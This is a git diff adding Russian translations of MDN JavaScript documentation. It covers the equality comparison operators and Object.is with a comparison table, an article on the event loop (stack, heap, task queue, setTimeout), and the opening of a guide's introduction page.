+<p>Практически всегда для сравнения следует использовать оператор строгого равенства. Для всех значений, за исключением числовых используется очевидная семантика: величина равна только сама себе. Как было сказано выше для числовых типов можно выделить два особых случая. Во-первых, сравнение <code>+0</code> и <code>-0</code>. Знак для нуля введен для упрощения некоторых вычислений с плавающей запятой, однако, с точки зрения математики, разницы между <code>+0</code> и <code>-0</code> не существует, поэтому оператор строгого равенства считает их равными. Во-вторых, сравнение величин <code>NaN</code>. <code>NaN</code> (Not a number) представляет из себя значение не определенной величины, которое применяется для не четко определенных математических задач (например <code>+∞ + -∞</code>). Для оператора строго равенства <code>NaN</code> не равен ни одной из величин, в том числе и самому себе (единственный случай, когда <code>(x!==x)</code> вернет true).</p>
+
+<h2 id="Равенство_одинаковых_величин">Равенство одинаковых величин</h2>
+
+<p>Равенство одинаковых величин определяет <em>функциональную идентичность</em> во всех контекстах сравниваемых величин. (Данный способ сравнения основывается на <a href="https://ru.wikipedia.org/wiki/Принцип_подстановки_Барбары_Лисков" title="http://en.wikipedia.org/wiki/Liskov_substitution_principle">принципе подстановки Барбары Лисков</a>.) Рассмотрим пример попытки изменения неизменяемого (immutable) свойства<code>:</code></p>
+
+<pre class="brush: js">// Добавление неизменяемого свойства NEGATIVE_ZERO (отрицательный ноль) в конструктор Number.
+Object.defineProperty(Number, "NEGATIVE_ZERO",
+                      { value: -0, writable: false, configurable: false, enumerable: false });
+
+function attemptMutation(v)
+{
+  Object.defineProperty(Number, "NEGATIVE_ZERO", { value: v });
+}
+</pre>
+
+<p>При попытке изменения неизменяемого свойства, вызов <code>Object.defineProperty выбросит</code> исключение, однако, если новое свойство равняется старому, изменений не произойдет и исключение не будет выброшено. Если <code>v</code> содержит <code>-0</code>, изменений не произойдет, а значит, код отработает без выброса исключений. Однако, если же <code>v</code> содержит <code>+0</code>, <code>Number.NEGATIVE_ZERO</code> утратит свою неизменяемую величину. Именно для сравнения нового и текущего неизменяемых свойств используется сравнение одинаковых величин, представленное методом <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is">Object.is</a></code>.</p>
+
+<h2 id="Спецификации_для_равенства_строгого_равенства_и_равенства_одинаковых_величин">Спецификации для равенства, строгого равенства и равенства одинаковых величин</h2>
+
+<p>В стандарте ES5, сравнение выполняемое оператором <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators" title="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">==</a> описывается в секции <a href="http://ecma-international.org/ecma-262/5.1/#sec-11.9.3" title="http://ecma-international.org/ecma-262/5.1/#sec-11.9.3">11.9.3, The Abstract Equality Algorithm</a>. Описание оператора <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators" title="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">===</a> находится в секции <a href="http://ecma-international.org/ecma-262/5.1/#sec-11.9.6" title="http://ecma-international.org/ecma-262/5.1/#sec-11.9.6">11.9.6, The Strict Equality Algorithm</a>. В секции <a href="http://ecma-international.org/ecma-262/5.1/#sec-9.12" title="http://ecma-international.org/ecma-262/5.1/#sec-9.12">9.12, The SameValue Algorithm</a> ES5  описывает операцию сравнение одинаковых величин для внутреннего движка  JS. Строгое равенство и равенство одинаковых величин, практически одинаковы, за исключением обработки <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number">числовых типов</a>. ES6 предлагает использовать алгоритм сравнения одинаковых величин через вызов <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is">Object.is</a></code>.</p>
+
+<h2 id="Как_понимать_все_эти_способы_сравнения"><code>Как понимать все эти способы сравнения?</code></h2>
+
+<p>До выхода редакции ES6 считалось, что оператор строгого равенства просто "улучшенная" версия оператора нестрогого равенства. Например, некоторые считали, что == просто улучшенная версия === потому, что первый оператор делает всё то же, что и второй, плюс приведение типов своих операндов. То есть 6 == "6". (Или же наоборот: оператор нестрогого равенства базовый, а оператор строгого равенства просто его улучшенная версия, ведь он добавляет ещё одно условие - требует, чтобы оба операнда были одного и того же типа. Какой вариант ближе вам, зависит только от вашей точки зрения на вещи.)</p>
+
+<p>Но эти точки зрения уже нельзя применить к новому методу сравнения <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is">Object.is</a> из новой редакции ES6. Нельзя сказать, что <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is">Object.is</a> более или менее строг относительно существующих способов сравнения, или что это нечто среднее между ними. Ниже в таблице показаны основные различия операторов сравнения. <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is">Object.is</a> интересен тем, что различает -0 и +0, а также умеет сравнивать два нечисла <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN">NaN</a>.</p>
+
+<table class="standard-table">
+ <caption><code>Сравнительная таблица операторов сравнения</code></caption>
+ <thead>
+  <tr>
+   <th scope="col" style="text-align: center;"><code>x</code></th>
+   <th scope="col" style="text-align: center;"><code>y</code></th>
+   <th scope="col" style="width: 10em; text-align: center;"><code><code>==</code></code></th>
+   <th scope="col" style="width: 10em; text-align: center;"><code><code>===</code></code></th>
+   <th scope="col" style="width: 10em; text-align: center;"><code><code>Object.is</code></code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code><code>undefined</code></code></td>
+   <td><code><code>undefined</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+  </tr>
+  <tr>
+   <td><code><code>null</code></code></td>
+   <td><code><code>null</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+  </tr>
+  <tr>
+   <td><code><code>true</code></code></td>
+   <td><code><code>true</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+  </tr>
+  <tr>
+   <td><code><code>false</code></code></td>
+   <td><code><code>false</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+  </tr>
+  <tr>
+   <td><code><code>"foo"</code></code></td>
+   <td><code><code>"foo"</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+  </tr>
+  <tr>
+   <td><code><code>{ foo: "bar" }</code></code></td>
+   <td><code><code>x</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+  </tr>
+  <tr>
+   <td><code><code>0</code></code></td>
+   <td><code><code>0</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+  </tr>
+  <tr>
+   <td><code><code>+0</code></code></td>
+   <td><code><code>-0</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+  </tr>
+  <tr>
+   <td><code><code>0</code></code></td>
+   <td><code><code>false</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+  </tr>
+  <tr>
+   <td><code><code>""</code></code></td>
+   <td><code><code>false</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+  </tr>
+  <tr>
+   <td><code><code>""</code></code></td>
+   <td><code><code>0</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+  </tr>
+  <tr>
+   <td><code><code>"0"</code></code></td>
+   <td><code><code>0</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+  </tr>
+  <tr>
+   <td><code><code>"17"</code></code></td>
+   <td><code><code>17</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+  </tr>
+  <tr>
+   <td><code><code>[1,2]</code></code></td>
+   <td><code><code>"1,2"</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+  </tr>
+  <tr>
+   <td><code><code>new String("foo")</code></code></td>
+   <td><code><code>"foo"</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+  </tr>
+  <tr>
+   <td><code><code>null</code></code></td>
+   <td><code><code>undefined</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+  </tr>
+  <tr>
+   <td><code><code>null</code></code></td>
+   <td><code><code>false</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+  </tr>
+  <tr>
+   <td><code><code>undefined</code></code></td>
+   <td><code><code>false</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+  </tr>
+  <tr>
+   <td><code><code>{ foo: "bar" }</code></code></td>
+   <td><code><code>{ foo: "bar" }</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+  </tr>
+  <tr>
+   <td><code><code>new String("foo")</code></code></td>
+   <td><code><code>new String("foo")</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+  </tr>
+  <tr>
+   <td><code><code>0</code></code></td>
+   <td><code><code>null</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+  </tr>
+  <tr>
+   <td><code><code>0</code></code></td>
+   <td><code><code>NaN</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+  </tr>
+  <tr>
+   <td><code><code>"foo"</code></code></td>
+   <td><code><code>NaN</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+  </tr>
+  <tr>
+   <td><code><code>NaN</code></code></td>
+   <td><code><code>NaN</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code><code>false</code></code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code><code>true</code></code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Когда_же_использовать_Object.is"><code>Когда же использовать <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is">Object.is</a> ?</code></code></h2>
+
+<p>Особенность обработки <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is">Object.is</a></code> нулей будет полезна в метапрограммировании, когда необходимо присвоить противоположное значение свойству через дескриптор <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a></code>. Если ваши задачи этого не требуют, то лучше воздержаться от использования <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is">Object.is</a></code>, отдав предпочтение <code><a href="/ru/docs/Web/JavaScript/Reference/Operators/Comparison_Operators" title="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">===</a></code>. Даже если в коде необходимо сравнивать два <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/NaN" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN">NaN</a></code>, обычно проще всего использовать существующий метод <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/isNaN" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/isNaN">isNaN</a></code>, чтобы последующие вычисления не влияли на сравнение нулей с разными знаками.</p>
+
+<p>Вот примеры операторов и методов, которые могут сделать различия между  <code>-0</code> и <code>+0</code> более явными, что непременно отразиться в вашем коде:</p>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#-_.28Unary_Negation.29" title="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators"><code>- (унарный минус)</code></a></code></dt>
+</dl>
+
+<dl>
+ <dd>
+ <p>Очевидно, что применение унарного минуса к нулю даст <code>-0</code>. Но, иногда, это происходит совершенно незаметно. К примеру:</p>
+
+ <pre class="brush: js">let stoppingForce = obj.mass * -obj.velocity</pre>
+
+ <p>Если значением <code>obj.velocity</code> будет <code>0</code>, то результатом выражения будет <code>-0</code>, что в итоге отразится в переменной <code>stoppingForce</code>.</p>
+ </dd>
+</dl>
+
+<dl>
+ <dt><code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Math/atan2" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/atan2"><code>Math.atan2</code></a></code></dt>
+ <dt><code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Math/ceil" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/ceil"><code>Math.ceil</code></a></code></dt>
+ <dt><code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Math/pow" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/pow"><code>Math.pow</code></a></code></dt>
+ <dt><code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Math/round" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/round"><code>Math.round</code></a></code></dt>
+</dl>
+
+<dl>
+ <dd>Есть вероятность, что данные методы могут возвратить <code>-0</code>, даже если его не передавали явно одним из параметров. Например, если методом <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Math/pow" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/pow">Math.pow</a></code> возвести <code>-<a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Infinity" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity">Infinity</a></code> в любую отрицательную степень. Ознакомьтесь с подробным описанием данных методов.</dd>
+</dl>
+
+<dl>
+ <dt><code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Math/floor" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/floor"><code>Math.floor</code></a></code></dt>
+ <dt><code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Math/max" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/max"><code>Math.max</code></a></code></dt>
+ <dt><code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Math/min" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/min"><code>Math.min</code></a></code></dt>
+ <dt><code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Math/sin" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/sin"><code>Math.sin</code></a></code></dt>
+ <dt><code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Math/sqrt" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/sqrt"><code>Math.sqrt</code></a></code></dt>
+ <dt><code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Math/tan" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/tan"><code>Math.tan</code></a></code></dt>
+</dl>
+
+<dl>
+ <dd>В некоторых случаях можно получить результат, равный <code>-0</code>, если вышеперечисленным методам одним из параметров передать <code>-0</code>. Например, <code>Math.min(-0, +0)</code> вернёт <code>-0</code>. Ознакомьтесь с подробным описанием данных методов.</dd>
+</dl>
+
+<dl>
+ <dt><code><code><a href="/ru/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators" title="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">~</a></code></code></dt>
+ <dt><code><code><a href="/ru/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators" title="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">&lt;&lt;</a></code></code></dt>
+ <dt><code><code><a href="/ru/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators" title="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">&gt;&gt;</a></code></code></dt>
+ <dd>Каждый из этих операторов использует внутренний алгоритм <code>ToInt32</code>. В нём нет места для отрицательного нуля, потому значение <code>-0</code> не переживёт подобной операции. То есть и <code>Object.is(~~(-0), -0)</code>, и <code>Object.is(-0 &lt;&lt; 2 &gt;&gt; 2, -0)</code> возвратят <code>false</code>.</dd>
+</dl>
+
+<p>Из вышеперечисленного ясно, что использование <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is"><code>Object.is</code></a> иногда может быть проблемным. Естественно, если вам необходимо чётко различать <code>-0</code> и <code>+0</code>, то этот метод именно то, что нужно.</p>
+
+<h2 id="Смотрите_также"><code>Смотрите также</code></h2>
+
+<ul>
+ <li><code><a href="http://dorey.github.io/JavaScript-Equality-Table/">Таблица сравнений Javascript</a></code></li>
+</ul>
diff --git a/files/ru/web/javascript/eventloop/index.html b/files/ru/web/javascript/eventloop/index.html
new file mode 100644
index 0000000000..c0becda6c8
--- /dev/null
+++ b/files/ru/web/javascript/eventloop/index.html
@@ -0,0 +1,111 @@
+---
+title: Параллельная модель и цикл событий.
+slug: Web/JavaScript/EventLoop
+tags:
+  - Руководство
+translation_of: Web/JavaScript/EventLoop
+---
+<p>{{JsSidebar("Advanced")}}</p>
+
+<p>Параллелизм/Многопоточность в JavaScript работает за счёт цикла событий (<strong>event loop</strong>), который отвечает за выполнение кода, сбора и обработки событий и выполнения под-задач из очереди (<strong>queued sub-tasks</strong>). Эта модель весьма отличается от других языков программирования, таких как C и Java.</p>
+
+<h2 id="Концепция_жизненного_цикла">Концепция жизненного цикла</h2>
+
+<p>В следующей секции объясняется теоретическая модель. Современные JavaScript движки внедряют/имплементируют и существенно оптимизируют этот процесс.</p>
+
+<h3 id="Визуальное_представление">Визуальное представление</h3>
+
+<p style="text-align: center;"><img alt="Stack, heap, queue" src="/files/4617/default.svg" style="height: 270px; width: 294px;"></p>
+
+<p style="text-align: center;">Для лучшего <strong>визуального</strong> представления работы <strong>Event loop</strong>, Вы можете ознакомиться с данным видео: <a href="https://www.youtube.com/watch?v=8aGhZQkoFbQ&amp;t=389s">https://www.youtube.com/watch?v=8aGhZQkoFbQ&amp;t=389s</a></p>
+
+<h3 id="Стек">Стек</h3>
+
+<p>Вызов любой функции создает контекст выполнения (<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/HTML_DOM_API/Microtask_guide/In_depth#JavaScript_execution_contexts">Execution Context</a>). При вызове вложенной функции создается новый контекст, а старый сохраняется в специальной структуре данных - стеке вызовов (Call Stack).</p>
+
+<pre class="brush: js">function f(b) {
+  var a = 12;
+  return a + b + 35;
+}
+
+function g(x) {
+  var m = 4;
+  return f(m * x);
+}
+
+g(21);
+</pre>
+
+<p>Когда вызывается функция <code>g</code>,  создаётся первый контекст выполнения, содержащий аргументы функции <code>g</code> и локальные переменные. Когда <code>g</code> вызывает <code>f</code>, создаётся второй контекст с аргументами <code>f</code> и её локальными переменными.  И этот контекст выполнения <code>f</code> помещается в стек вызовов выше первого. Когда <code>f</code> возвращает результат, верхний элемент из стека удаляется. Когда <code>g</code> возвращает результат, ее контекст также удалится, и стек становится пустым.</p>
+
+<h3 id="Куча">Куча</h3>
+
+<p>Объекты размещаются в <a href="https://ru.wikipedia.org/wiki/%D0%9A%D1%83%D1%87%D0%B0_(%D0%BF%D0%B0%D0%BC%D1%8F%D1%82%D1%8C)">куче</a>. Куча — это просто имя для обозначения большой неструктурированной области памяти.</p>
+
+<h3 id="Очередь">Очередь</h3>
+
+<p>Среда выполнения JavaScript содержит очередь задач. Эта очередь — список задач, подлежащих обработке. Каждая задача ассоциируется с некоторой функцией, которая будет вызвана, чтобы обработать эту задачу.</p>
+
+<p>Когда стек полностью освобождается, самая первая задача извлекается из очереди и обрабатывается. Обработка задачи состоит в вызове  ассоциированной с ней функции с параметрами, записанными в этой задаче. Как обычно, вызов функции создаёт новый контекст выполнения и заносится в стек вызовов.</p>
+
+<p>Обработка задачи заканчивается, когда стек снова становится пустым. Следующая задача извлекается из очереди и начинается её обработка.</p>
+
+<h2 id="Цикл_событий">Цикл событий</h2>
+
+<p>Модель событийного цикла (<code>event loop</code>) называется так потому, что отслеживает новые события в цикле:</p>
+
+<pre class="brush: js">while(queue.waitForMessage()){
+  queue.processNextMessage();
+}</pre>
+
+<p><code>queue.waitForMessage</code> ожидает поступления задач, если очередь пуста.</p>
+
+<h3 id="Запуск_до_завершения">Запуск до завершения</h3>
+
+<p>Каждая задача выполняется полностью, прежде чем начнет обрабатываться следующая. Благодаря этому мы точно знаем: когда выполняется текущая функция – она не может быть приостановлена и будет целиком завершена до начала выполнения другого кода (который может изменить данные, с которыми работает текущая функция). Это отличает JavaScript от такого языка программирования как C. Поскольку в С функция, запущенная в отдельном потоке, в любой момент может быть остановлена, чтобы выполнить какой-то другой код в другом потоке.</p>
+
+<p>У данного подхода есть и минусы. Если задача занимает слишком много времени, то веб-приложение не может обрабатывать действия пользователя в это время (например, скролл или клик). Браузер старается смягчить проблему и выводит сообщение <em>"скрипт выполняется слишком долго" ("a script is taking too long to run")</em> и предлагает остановить его. Хорошей практикой является создание задач, которые исполняются быстро, и если возможно, разбиение одной задачи на несколько мелких.</p>
+
+<h3 id="Добавление_событий_в_очередь">Добавление событий в очередь</h3>
+
+<p>В браузерах события добавляются в очередь в любое время, если событие произошло, а так же если у него есть обработчик. В случае, если обработчика нет – событие потеряно. Так, клик по элементу, имеющему обработчик события по событию <code>click </code>, добавит событие в очередь, а если обработчика нет – то и событие в очередь не попадет.</p>
+
+<p>Вызов <a href="/ru/docs/Web/API/WindowTimers/setTimeout" title="/en-US/docs/window.setTimeout">setTimeout</a> добавит событие в очередь по прошествии времени, указанного во втором аргументе вызова. Если очередь событий на тот момент будет пуста, то событие обработается сразу же, в противном случае событию функции <code>setTimeout</code> придется ожидать завершения обработки остальных событий в очереди. Именно поэтому второй аргумент <code>setTimeout</code> корректно считать не временем, через которое выполнится функция из первого аргумента, а минимальное время, через которое она сможет выполниться.</p>
+
+<h3 id="Нулевые_задержки">Нулевые задержки</h3>
+
+<p>Нулевая задержка не дает гарантии, что обработчик выполнится через ноль миллисекунд. Вызов {{domxref("WindowTimers.setTimeout", "setTimeout")}} с аргументом  0 (ноль) не завершится за указанное время. Выполнение зависит от количества ожидающих задач в очереди. Например, сообщение ''this is just a message'' из примера ниже будет выведено на консоль раньше, чем произойдет выполнение обработчика <em>сb1</em>. Это произойдет, потому что задержка – это минимальное время, которое требуется среде выполнения на обработку запроса.</p>
+
+<pre class="brush: js">(function () {
+
+  console.log('this is the start');
+
+  setTimeout(function cb() {
+    console.log('this is a msg from call back');
+  });
+
+  console.log('this is just a message');
+
+  setTimeout(function cb1() {
+    console.log('this is a msg from call back1');
+  }, 0);
+
+  console.log('this is the end');
+
+})();
+
+// "this is the start"
+// "this is just a message"
+// "this is the end"
+// "this is a msg from call back"
+// "this is a msg from call back1"</pre>
+
+<h3 id="Связь_нескольких_потоков_между_собой">Связь нескольких потоков между собой</h3>
+
+<p>Web Worker или кросс-доменный фрейм имеют свой собственный стек, кучу и очередь событий. Два отдельных событийных потока могут связываться друг с другом, только через отправку сообщений с помощью метода <code><a href="/en-US/docs/DOM/window.postMessage" title="/en-US/docs/DOM/window.postMessage">postMessage</a>. </code>Этот метод добавляет <code style="font-style: normal;">сообщение</code>  в очередь другого, если он конечно принимает их.</p>
+
+<h2 id="Никогда_не_блокируется">Никогда не блокируется</h2>
+
+<p>Очень интересное свойство цикла событий в JavaScript, что в отличие от множества других языков, поток выполнения никогда не блокируется. Обработка I/O обычно осуществляется с помощью событий и функций обратного вызова, поэтому даже когда приложение ожидает запрос от <a href="/ru/docs/IndexedDB" title="/en-US/docs/IndexedDB">IndexedDB</a> или ответ от <a href="/ru/docs/Web/API/XMLHttpRequest" title="/en-US/docs/DOM/XMLHttpRequest">XHR</a>, оно может обрабатывать другие процессы, например пользовательский ввод.</p>
+
+<p>Существуют хорошо известные исключения как <code style="font-style: normal;">alert</code> или синхронный XHR, но считается хорошей практикой избегать их использования.</p>
diff --git a/files/ru/web/javascript/guide/about/index.html b/files/ru/web/javascript/guide/about/index.html
new file mode 100644
index 0000000000..0f9c90fcc8
--- /dev/null
+++ b/files/ru/web/javascript/guide/about/index.html
@@ -0,0 +1,158 @@
+---
+title: Об этом учебнике
+slug: Web/JavaScript/Guide/About
+translation_of: Web/JavaScript/Guide/Introduction
+---
+<p>JavaScript это кросс-платформенный, объектно-ориентированный интерпретируемый язык программирования. В этом учебнике описано все, что вам нужно знать для того, чтобы начать ипользовать JavaScript.</p>
+
+<h2 id="Особенности_разных_версий_JavaScript">Особенности разных версий JavaScript</h2>
+
+<p> </p>
+
+<ul>
+ <li><a class="new" href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.2" rel="nofollow">/ru/docs/Web/JavaScript/New_in_JavaScript/1.2</a></li>
+ <li><a class="new" href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.3" rel="nofollow">/ru/docs/Web/JavaScript/New_in_JavaScript/1.3</a></li>
+ <li><a class="new" href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.4" rel="nofollow">/ru/docs/Web/JavaScript/New_in_JavaScript/1.4</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.5">Новое в JavaScript 1.5</a></li>
